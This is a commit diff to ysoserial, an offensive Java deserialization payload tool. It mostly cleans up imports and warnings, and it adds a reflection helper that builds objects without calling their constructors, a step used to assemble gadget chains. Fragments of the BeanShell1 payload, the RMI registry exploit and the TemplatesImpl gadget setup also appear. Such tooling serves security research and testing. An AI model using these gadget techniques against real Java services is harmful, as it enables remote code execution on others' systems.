Some basic cleanups (warnings, imports)

Add controlled instantiation constructor utility.

src/main/java/ysoserial/GeneratePayload.java

@@ -30,6 +30,7 @@ public class GeneratePayload {
 			System.err.println("Invalid payload type '" + payloadType + "'");
 			printUsage();
 			System.exit(USAGE_CODE);
+			return; // make null analysis happy
 		}
 
 		try {

src/main/java/ysoserial/exploit/RMIRegistryExploit.java

@@ -3,7 +3,6 @@ package ysoserial.exploit;
 import java.rmi.Remote;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
-import java.util.Arrays;
 import java.util.concurrent.Callable;
 
 import ysoserial.payloads.CommonsCollections1;
@@ -18,6 +17,7 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
  * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
  * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
  */
+@SuppressWarnings({"rawtypes", "unchecked"})
 public class RMIRegistryExploit {
 	public static void main(final String[] args) throws Exception {
 		final String host = args[0];

src/main/java/ysoserial/payloads/BeanShell1.java

@@ -3,8 +3,6 @@ package ysoserial.payloads;
 import bsh.Interpreter;
 import bsh.XThis;
 
-import java.io.*;
-import java.lang.reflect.Field;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.Comparator;
@@ -17,7 +15,7 @@ import ysoserial.payloads.util.PayloadRunner;
  * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
  */
 
-@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({ "org.beanshell:bsh:2.0b5" })
 public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
  

src/main/java/ysoserial/payloads/ObjectPayload.java

@@ -6,6 +6,7 @@ import org.reflections.Reflections;
 
 import ysoserial.GeneratePayload;
 
+@SuppressWarnings("rawtypes")
 public interface ObjectPayload<T> {
 	/*
 	 * return armed payload object to be serialized that will execute specified

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -14,7 +14,6 @@ import java.util.Map;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
-import ysoserial.payloads.util.Gadgets.StubTransletPayload;
 
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
@@ -113,7 +112,7 @@ public class Gadgets {
 
 		// required to make TemplatesImpl happy
 		Reflections.setFieldValue(templates, "_name", "Pwnr");
-		Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
+		Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
 		return templates;
 	}
 	

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -2,7 +2,11 @@ package ysoserial.payloads.util;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
 
+import sun.reflect.ReflectionFactory;
+
+@SuppressWarnings ( "restriction" )
 public class Reflections {
 
 	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
@@ -29,5 +33,21 @@ public class Reflections {
 	    ctor.setAccessible(true);
 	    return ctor;
 	}
+	
+
+    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
+            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
+    }
+    
+    @SuppressWarnings ( {"unchecked"} )
+    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
+            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+        objCons.setAccessible(true);
+        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+        sc.setAccessible(true);
+        return (T)sc.newInstance(consArgs);
+    }
 
 }

src/test/java/ysoserial/payloads/PayloadsTest.java

@@ -36,7 +36,7 @@ import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
 
 TODO: figure out better way to test exception behavior than comparing messages
  */
-@SuppressWarnings({"restriction", "unused", "unchecked"})
+@SuppressWarnings({"rawtypes", "unused", "unchecked"})
 @RunWith(Parameterized.class)
 public class PayloadsTest {
 	private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
@@ -59,9 +59,9 @@ public class PayloadsTest {
 		testPayload(payloadClass, new Class[0]);
 	}
 
-	public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class[] addlClassesForClassLoader) throws Exception {
+	public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) throws Exception {
 		final String command = "hostname";
-		final String[] deps = Dependencies.Utils.getDependencies(payloadClass);
+		final String[] deps = buildDeps(payloadClass);
 		ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
 		final byte[] serialized = sm.wrap(new Callable<byte[]>(){
 			public byte[] call() throws Exception {
@@ -87,7 +87,20 @@ public class PayloadsTest {
 		Assert.assertEquals(Arrays.asList(command), sm.getCmds());
 	}
 
-	@SuppressWarnings({ "unchecked" })
+    /**
+     * @param payloadClass
+     * @return
+     */
+    private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) {
+        String[] baseDeps = Dependencies.Utils.getDependencies(payloadClass);
+		if ( System.getProperty("properXalan") != null ) {
+		    baseDeps = Arrays.copyOf(baseDeps, baseDeps.length+1);
+		    baseDeps[baseDeps.length-1] = "xalan:xalan:2.7.2";
+		}
+		final String[] deps = baseDeps;
+        return deps;
+    }
+
 	private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
 		File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
 		URL[] urls = new URL[jars.length];